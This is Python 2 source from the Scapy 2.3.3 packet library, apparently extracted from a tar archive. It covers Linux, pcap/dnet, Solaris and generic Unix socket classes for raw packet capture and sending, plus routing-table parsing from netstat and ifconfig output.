scapy.utils6.construct_source_candidate_set(d, dp, devaddrs, LOOPBACK_NAME) if len(cset) != 0: routes.append((d, dp, nh, dev, cset)) f.close() return routes def get_if_index(iff): return int(struct.unpack("I",get_if(iff, SIOCGIFINDEX)[16:20])[0]) if os.uname()[4] in [ 'x86_64', 'aarch64' ]: def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "1234567890123456") s,us = struct.unpack("QQ",ts) return s+us/1000000.0 else: def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "12345678") s,us = struct.unpack("II",ts) return s+us/1000000.0 def _flush_fd(fd): if type(fd) is not int: fd = fd.fileno() while 1: r,w,e = select([fd],[],[],0) if r: os.read(fd,MTU) else: break class L3PacketSocket(SuperSocket): desc = "read/write packets at layer 3 using Linux PF_PACKET sockets" def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): self.type = type self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if iface: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) self.promisc = conf.promisc if promisc is None else promisc if self.promisc: if iface is None: self.iff = get_if_list() else: if iface.__class__ is list: self.iff = iface else: self.iff = [iface] for i in self.iff: set_promisc(self.ins, i) def close(self): if self.closed: return self.closed = 1 if self.promisc: for i in self.iff: set_promisc(self.ins, i, 0) SuperSocket.close(self) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) lvl = 2 try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): iff,a,gw = x.route() if iff is None: iff = conf.iface sdto = (iff, self.type) self.outs.bind(sdto) sn = self.outs.getsockname() ll = lambda x:x if type(x) in conf.l3types: sdto = (iff, conf.l3types[type(x)]) if sn[3] in conf.l2types: ll = lambda x:conf.l2types[sn[3]]()/x sx = str(ll(x)) x.sent_time = time.time() try: self.outs.sendto(sx, sdto) except socket.error, msg: if msg[0] == 22 and len(sx) < conf.min_pkt_size: self.outs.send(sx + "\x00" * (conf.min_pkt_size - len(sx))) elif conf.auto_fragment and msg[0] == 90: for p in x.fragment(): self.outs.sendto(str(ll(p)), sdto) else: raise class L2Socket(SuperSocket): desc = "read/write packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0): self.iface = conf.iface if iface is None else iface self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) self.promisc = conf.sniff_promisc if promisc is None else promisc if self.promisc: set_promisc(self.ins, self.iface) self.ins.bind((self.iface, type)) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = self.ins self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) sa_ll = self.outs.getsockname() if sa_ll[3] in conf.l2types: self.LL = conf.l2types[sa_ll[3]] elif sa_ll[1] in conf.l3types: self.LL = conf.l3types[sa_ll[1]] else: self.LL = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],self.LL.name)) def close(self): if self.closed: return self.closed = 1 if self.promisc: set_promisc(self.ins, self.iface, 0) SuperSocket.close(self) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None try: q = self.LL(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise q = conf.raw_layer(pkt) q.time = get_last_packet_timestamp(self.ins) return q def send(self, x): try: return SuperSocket.send(self, x) except socket.error, msg: if msg[0] == 22 and len(x) < conf.min_pkt_size: padding = "\x00" * (conf.min_pkt_size - len(x)) if isinstance(x, Packet): return SuperSocket.send(self, x / Padding(load=padding)) else: return SuperSocket.send(self, str(x) + padding) raise class L2ListenSocket(SuperSocket): desc = "read packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None, nofilter=0): self.type = type self.outs = None self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if iface is not None: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc if iface is None: self.iff = get_if_list() else: if iface.__class__ is list: self.iff = iface else: self.iff = [iface] if self.promisc: for i in self.iff: set_promisc(self.ins, i) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) def close(self): if self.promisc: for i in self.iff: set_promisc(self.ins, i, 0) SuperSocket.close(self) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[3] in conf.l2types : cls = conf.l2types[sa_ll[3]] elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x " "family=%i). Using %s" % (sa_ll[0], sa_ll[1], sa_ll[3], cls.name)) try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = get_last_packet_timestamp(self.ins) pkt.direction = sa_ll[2] return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2ListenSocket") conf.L3socket = L3PacketSocket conf.L2socket = L2Socket conf.L2listen = L2ListenSocket conf.iface = get_working_if() scapy-2.3.3/scapy/arch/pcapdnet.py000077500000000000000000000575741300136037300170630ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet sending and receiving with libdnet and libpcap/WinPcap. """ import time,struct,sys import socket if not sys.platform.startswith("win"): from fcntl import ioctl from scapy.data import * from scapy.config import conf from scapy.utils import warning, mac2str from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception, log_loading import scapy.arch if conf.use_winpcapy: #mostly code from https://github.com/phaethon/scapy translated to python2.X try: from .winpcapy import * def winpcapy_get_if_list(): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = [] if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs while p: ret.append(p.contents.name.decode('ascii')) p = p.contents.next return ret finally: pcap_freealldevs(devs) except OSError as e: if conf.interactive: log_loading.error("Unable to import libpcap library: %s" % e) conf.use_winpcapy = False else: raise # From BSD net/bpf.h #BIOCIMMEDIATE=0x80044270 BIOCIMMEDIATE=-2147204496 class PcapTimeoutElapsed(Scapy_Exception): pass def get_if_raw_hwaddr(iff): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = "\0\0\0\0\0\0" if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs while p: if p.contents.name.endswith(iff): a = p.contents.addresses while a: if hasattr(socket, 'AF_LINK') and a.contents.addr.contents.sa_family == socket.AF_LINK: ap = a.contents.addr val = cast(ap, POINTER(sockaddr_dl)) ret = str(val.contents.sdl_data[ val.contents.sdl_nlen : val.contents.sdl_nlen + val.contents.sdl_alen ]) a = a.contents.next break p = p.contents.next return ret finally: pcap_freealldevs(devs) def get_if_raw_addr(iff): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = "\0\0\0\0" if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs while p: if p.contents.name.endswith(iff): a = p.contents.addresses while a: if a.contents.addr.contents.sa_family == socket.AF_INET: ap = a.contents.addr val = cast(ap, POINTER(sockaddr_in)) #ret = bytes(val.contents.sin_addr[:4]) ret = "".join([chr(x) for x in val.contents.sin_addr[:4]]) a = a.contents.next break p = p.contents.next return ret finally: pcap_freealldevs(devs) get_if_list = winpcapy_get_if_list def in6_getifaddr(): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = [] if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs ret = [] while p: a = p.contents.addresses while a: if a.contents.addr.contents.sa_family == socket.AF_INET6: ap = a.contents.addr val = cast(ap, POINTER(sockaddr_in6)) addr = socket.inet_ntop(socket.AF_INET6, str(val.contents.sin6_addr[:])) scope = scapy.utils6.in6_getscope(addr) ret.append((addr, scope, p.contents.name.decode('ascii'))) a = a.contents.next p = p.contents.next return ret finally: pcap_freealldevs(devs) from ctypes import POINTER, byref, create_string_buffer class _PcapWrapper_pypcap: def __init__(self, device, snaplen, promisc, to_ms): self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE) self.iface = create_string_buffer(device) self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf) self.header = POINTER(pcap_pkthdr)() self.pkt_data = POINTER(c_ubyte)() self.bpf_program = bpf_program() def next(self): c = pcap_next_ex(self.pcap, byref(self.header), byref(self.pkt_data)) if not c > 0: return ts = self.header.contents.ts.tv_sec pkt = "".join([ chr(i) for i in self.pkt_data[:self.header.contents.len] ]) #pkt = bytes(self.pkt_data[:self.header.contents.len]) return ts, pkt def datalink(self): return pcap_datalink(self.pcap) def fileno(self): if sys.platform.startswith("win"): log_loading.error("Cannot get selectable PCAP fd on Windows") return 0 return pcap_get_selectable_fd(self.pcap) def setfilter(self, f): filter_exp = create_string_buffer(f) if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 0, -1) == -1: log_loading.error("Could not compile filter expression %s" % f) return False else: if pcap_setfilter(self.pcap, byref(self.bpf_program)) == -1: log_loading.error("Could not install filter %s" % f) return False return True def setnonblock(self, i): pcap_setnonblock(self.pcap, i, self.errbuf) def send(self, x): pcap_sendpacket(self.pcap, x, len(x)) def close(self): pcap_close(self.pcap) open_pcap = lambda *args,**kargs: _PcapWrapper_pypcap(*args,**kargs) class PcapTimeoutElapsed(Scapy_Exception): pass class L2pcapListenSocket(SuperSocket): desc = "read packets at layer 2 using libpcap" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None): self.type = type self.outs = None self.iface = iface if iface is None: iface = conf.iface if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc self.ins = open_pcap(iface, 1600, self.promisc, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter: self.ins.setfilter(filter) def close(self): self.ins.close() def recv(self, x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = None while pkt is None: pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if scapy.arch.WINDOWS and pkt is None: raise PcapTimeoutElapsed try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2pcapListenSocket") conf.L2listen = L2pcapListenSocket class L2pcapSocket(SuperSocket): desc = "read/write packets at layer 2 using only libpcap" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) def send(self, x): sx = str(x) if hasattr(x, "sent_time"): x.sent_time = time.time() return self.ins.send(sx) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv(MTU) self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): self.ins.close() if hasattr(self, "outs"): self.outs.close() class L3pcapSocket(L2pcapSocket): #def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): # L2pcapSocket.__init__(self, iface, type, filter, nofilter) def recv(self, x = MTU): r = L2pcapSocket.recv(self, x) if r: return r.payload else: return def send(self, x): cls = conf.l2types[1] sx = str(cls()/x) if hasattr(x, "sent_time"): x.sent_time = time.time() return self.ins.send(sx) conf.L2socket=L2pcapSocket conf.L3socket=L3pcapSocket if conf.use_pcap: try: import pcap except ImportError,e: try: import pcapy as pcap except ImportError,e2: if conf.interactive: log_loading.error("Unable to import pcap module: %s/%s" % (e,e2)) conf.use_pcap = False else: raise if conf.use_pcap: # From BSD net/bpf.h #BIOCIMMEDIATE=0x80044270 BIOCIMMEDIATE=-2147204496 if hasattr(pcap,"pcap"): # python-pypcap class _PcapWrapper_pypcap: def __init__(self, device, snaplen, promisc, to_ms): try: self.pcap = pcap.pcap(device, snaplen, promisc, immediate=1, timeout_ms=to_ms) except TypeError: # Older pypcap versions do not support the timeout_ms argument self.pcap = pcap.pcap(device, snaplen, promisc, immediate=1) def __getattr__(self, attr): return getattr(self.pcap, attr) def __del__(self): warning("__del__: don't know how to close the file descriptor. Bugs ahead ! Please report this bug.") def next(self): c = self.pcap.next() if c is None: return ts, pkt = c return ts, str(pkt) open_pcap = lambda *args,**kargs: _PcapWrapper_pypcap(*args,**kargs) elif hasattr(pcap,"pcapObject"): # python-libpcap class _PcapWrapper_libpcap: def __init__(self, *args, **kargs): self.pcap = pcap.pcapObject() self.pcap.open_live(*args, **kargs) def setfilter(self, filter): self.pcap.setfilter(filter, 0, 0) def next(self): c = self.pcap.next() if c is None: return l,pkt,ts = c return ts,pkt def __getattr__(self, attr): return getattr(self.pcap, attr) def __del__(self): fd = self.pcap.fileno() os.close(fd) open_pcap = lambda *args,**kargs: _PcapWrapper_libpcap(*args,**kargs) elif hasattr(pcap,"open_live"): # python-pcapy class _PcapWrapper_pcapy: def __init__(self, *args, **kargs): self.pcap = pcap.open_live(*args, **kargs) def next(self): try: c = self.pcap.next() except pcap.PcapError: return None else: h,p = c s,us = h.getts() return (s+0.000001*us), p def fileno(self): warning("fileno: pcapy API does not permit to get capure file descriptor. Bugs ahead! Press Enter to trigger packet reading") return 0 def __getattr__(self, attr): return getattr(self.pcap, attr) def __del__(self): warning("__del__: don't know how to close the file descriptor. Bugs ahead ! Please report this bug.") open_pcap = lambda *args,**kargs: _PcapWrapper_pcapy(*args,**kargs) class PcapTimeoutElapsed(Scapy_Exception): pass class L2pcapListenSocket(SuperSocket): desc = "read packets at layer 2 using libpcap" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None): self.type = type self.outs = None self.iface = iface if iface is None: iface = conf.iface if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc self.ins = open_pcap(iface, 1600, self.promisc, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter: self.ins.setfilter(filter) def close(self): del(self.ins) def recv(self, x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if scapy.arch.WINDOWS and pkt is None: raise PcapTimeoutElapsed if pkt is not None: ts,pkt = pkt try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2pcapListenSocket") conf.L2listen = L2pcapListenSocket if conf.use_dnet: try: try: # First try to import dnet import dnet except ImportError: # Then, try to import dumbnet as dnet import dumbnet as dnet except ImportError,e: if conf.interactive: log_loading.error("Unable to import dnet module: %s" % e) conf.use_dnet = False def get_if_raw_hwaddr(iff): "dummy" return (0,"\0\0\0\0\0\0") def get_if_raw_addr(iff): "dummy" return "\0\0\0\0" def get_if_list(): "dummy" return [] else: raise else: def get_if_raw_hwaddr(iff): """Return a tuple containing the link type and the raw hardware address corresponding to the interface 'iff'""" if iff == scapy.arch.LOOPBACK_NAME: return (ARPHDR_LOOPBACK, '\x00'*6) # Retrieve interface information try: l = dnet.intf().get(iff) link_addr = l["link_addr"] except: raise Scapy_Exception("Error in attempting to get hw address" " for interface [%s]" % iff) if hasattr(link_addr, "type"): # Legacy dnet module return link_addr.type, link_addr.data else: # dumbnet module mac = mac2str(str(link_addr)) # Adjust the link type if l["type"] == 6: # INTF_TYPE_ETH from dnet return (ARPHDR_ETHER, mac) return (l["type"], mac) def get_if_raw_addr(ifname): i = dnet.intf() return i.get(ifname)["addr"].data def get_if_list(): return [i.get("name", None) for i in dnet.intf()] if conf.use_pcap and conf.use_dnet: class L3dnetSocket(SuperSocket): desc = "read/write packets at layer 3 using libdnet and libpcap" def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): self.iflist = {} self.intf = dnet.intf() if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) def send(self, x): iff,a,gw = x.route() if iff is None: iff = conf.iface ifs,cls = self.iflist.get(iff,(None,None)) if ifs is None: iftype = self.intf.get(iff)["type"] if iftype == dnet.INTF_TYPE_ETH: try: cls = conf.l2types[1] except KeyError: warning("Unable to find Ethernet class. Using nothing") ifs = dnet.eth(iff) else: ifs = dnet.ip() self.iflist[iff] = ifs,cls if cls is None: sx = str(x) else: sx = str(cls()/x) x.sent_time = time.time() ifs.send(sx) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt.payload def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv() self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): del(self.ins) if hasattr(self, "outs"): del(self.outs) class L2dnetSocket(SuperSocket): desc = "read/write packets at layer 2 using libdnet and libpcap" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) self.outs = dnet.eth(iface) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv(MTU) self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): del(self.ins) if hasattr(self, "outs"): del(self.outs) conf.L3socket=L3dnetSocket conf.L2socket=L2dnetSocket scapy-2.3.3/scapy/arch/solaris.py000066400000000000000000000005511300136037300167150ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Customization for the Solaris operation system. """ # IPPROTO_GRE is missing on Solaris import socket socket.IPPROTO_GRE = 47 from scapy.arch.unix import * scapy-2.3.3/scapy/arch/unix.py000066400000000000000000000251571300136037300162350ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Common customizations for all Unix-like operating systems other than Linux """ from __future__ import with_statement import sys,os,struct,socket,time from fcntl import ioctl import socket from scapy.error import warning, log_interactive import scapy.config import scapy.utils from scapy.utils6 import in6_getscope, construct_source_candidate_set from scapy.utils6 import in6_isvalid, in6_ismlladdr, in6_ismnladdr import scapy.arch from scapy.config import conf ################## ## Routes stuff ## ################## def _guess_iface_name(netif): """ We attempt to guess the name of interfaces that are truncated from the output of ifconfig -l. If there is only one possible candidate matching the interface name then we return it. If there are none or more, then we return None. """ with os.popen('%s -l' % conf.prog.ifconfig) as fdesc: ifaces = fdesc.readline().strip().split(' ') matches = [iface for iface in ifaces if iface.startswith(netif)] if len(matches) == 1: return matches[0] return None def read_routes(): if scapy.arch.SOLARIS: f=os.popen("netstat -rvn") # -f inet elif scapy.arch.FREEBSD: f=os.popen("netstat -rnW") # -W to handle long interface names else: f=os.popen("netstat -rn") # -f inet ok = 0 mtu_present = False prio_present = False routes = [] pending_if = [] for l in f.readlines(): if not l: break l = l.strip() if l.find("----") >= 0: # a separation line continue if not ok: if l.find("Destination") >= 0: ok = 1 mtu_present = "Mtu" in l prio_present = "Prio" in l refs_present = "Refs" in l continue if not l: break if scapy.arch.SOLARIS: lspl = l.split() if len(lspl) == 10: dest,mask,gw,netif,mxfrg,rtt,ref,flg = lspl[:8] else: # missing interface dest,mask,gw,mxfrg,rtt,ref,flg = lspl[:7] netif=None else: rt = l.split() dest,gw,flg = rt[:3] netif = rt[4 + mtu_present + prio_present + refs_present] if flg.find("Lc") >= 0: continue if dest == "default": dest = 0L netmask = 0L else: if scapy.arch.SOLARIS: netmask = scapy.utils.atol(mask) elif "/" in dest: dest,netmask = dest.split("/") netmask = scapy.utils.itom(int(netmask)) else: netmask = scapy.utils.itom((dest.count(".") + 1) * 8) dest += ".0"*(3-dest.count(".")) dest = scapy.utils.atol(dest) if not "G" in flg: gw = '0.0.0.0' if netif is not None: try: ifaddr = scapy.arch.get_if_addr(netif) routes.append((dest,netmask,gw,netif,ifaddr)) except OSError as exc: if exc.message == 'Device not configured': # This means the interface name is probably truncated by # netstat -nr. We attempt to guess it's name and if not we # ignore it. guessed_netif = _guess_iface_name(netif) if guessed_netif is not None: ifaddr = scapy.arch.get_if_addr(guessed_netif) routes.append((dest, netmask, gw, guessed_netif, ifaddr)) else: warning("Could not guess partial interface name: %s" % netif) else: raise else: pending_if.append((dest,netmask,gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest,netmask,gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask,gw_if,gw_if_addr, = 0,None,None for rtdst,rtmask,_,rtif,rtaddr in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr if gw_if: routes.append((dest,netmask,gw,gw_if,gw_if_addr)) else: warning("Did not find output interface to reach gateway %s" % gw) return routes ############ ### IPv6 ### ############ def _in6_getifaddr(ifname): """ Returns a list of IPv6 addresses configured on the interface ifname. """ # Get the output of ifconfig try: f = os.popen("%s %s" % (conf.prog.ifconfig, ifname)) except OSError,msg: log_interactive.warning("Failed to execute ifconfig.") return [] # Iterate over lines and extract IPv6 addresses ret = [] for line in f: if "inet6" in line: addr = line.rstrip().split(None, 2)[1] # The second element is the IPv6 address else: continue if '%' in line: # Remove the interface identifier if present addr = addr.split("%", 1)[0] # Check if it is a valid IPv6 address try: socket.inet_pton(socket.AF_INET6, addr) except: continue # Get the scope and keep the address scope = in6_getscope(addr) ret.append((addr, scope, ifname)) return ret def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'iface'. This is the list of all addresses of all interfaces available on the system. """ # List all network interfaces if scapy.arch.OPENBSD: try: f = os.popen("%s" % conf.prog.ifconfig) except OSError,msg: log_interactive.warning("Failed to execute ifconfig.") return [] # Get the list of network interfaces splitted_line = [] for l in f: if "flags" in l: iface = l.split()[0].rstrip(':') splitted_line.append(iface) else: # FreeBSD, NetBSD or Darwin try: f = os.popen("%s -l" % conf.prog.ifconfig) except OSError,msg: log_interactive.warning("Failed to execute ifconfig.") return [] # Get the list of network interfaces splitted_line = f.readline().rstrip().split() ret = [] for i in splitted_line: ret += _in6_getifaddr(i) return ret def read_routes6(): """Return a list of IPv6 routes than can be used by Scapy.""" # Call netstat to retrieve IPv6 routes fd_netstat = os.popen("netstat -rn -f inet6") # List interfaces IPv6 addresses lifaddr = in6_getifaddr() if not lifaddr: return [] # Routes header information got_header = False mtu_present = False prio_present = False # Parse the routes routes = [] for line in fd_netstat.readlines(): # Parse the routes header and try to identify extra columns if not got_header: if "Destination" == line[:11]: got_header = True mtu_present = "Mtu" in line prio_present = "Prio" in line continue # Parse a route entry according to the operating system splitted_line = line.split() if scapy.arch.OPENBSD or scapy.arch.NETBSD: index = 5 + mtu_present + prio_present if len(splitted_line) < index: warning("Not enough columns in route entry !") continue destination, next_hop, flags = splitted_line[:3] dev = splitted_line[index] else: # FREEBSD or DARWIN if len(splitted_line) < 4: warning("Not enough columns in route entry !") continue destination, next_hop, flags, dev = splitted_line[:4] # Check flags if not "U" in flags: # usable route continue if "R" in flags: # Host or net unrechable continue if "m" in flags: # multicast address # Note: multicast routing is handled in Route6.route() continue # Replace link with the default route in next_hop if "link" in next_hop: next_hop = "::" # Default prefix length destination_plen = 128 # Extract network interface from the zone id if '%' in destination: destination, dev = destination.split('%') if '/' in dev: # Example: fe80::%lo0/64 ; dev = "lo0/64" dev, destination_plen = dev.split('/') if '%' in next_hop: next_hop, dev = next_hop.split('%') # Ensure that the next hop is a valid IPv6 address if not in6_isvalid(next_hop): # Note: the 'Gateway' column might contain a MAC address next_hop = "::" # Modify parsed routing entries # Note: these rules are OS specific and may evolve over time if destination == "default": destination, destination_plen = "::", 0 elif '/' in destination: # Example: fe80::/10 destination, destination_plen = destination.split('/') if '/' in dev: # Example: ff02::%lo0/32 ; dev = "lo0/32" dev, destination_plen = dev.split('/') # Check route entries parameters consistency if not in6_isvalid(destination): warning("Invalid destination IPv6 address in route entry !") continue try: destination_plen = int(destination_plen) except: warning("Invalid IPv6 prefix length in route entry !") continue if in6_ismlladdr(destination) or in6_ismnladdr(destination): # Note: multicast routing is handled in Route6.route() continue if scapy.arch.LOOPBACK_NAME in dev: # Handle ::1 separately cset = ["::1"] next_hop = "::" else: # Get possible IPv6 source addresses devaddrs = filter(lambda x: x[2] == dev, lifaddr) cset = construct_source_candidate_set(destination, destination_plen, devaddrs, scapy.arch.LOOPBACK_NAME) if len(cset): routes.append((destination, destination_plen, next_hop, dev, cset)) fd_netstat.close() return routes 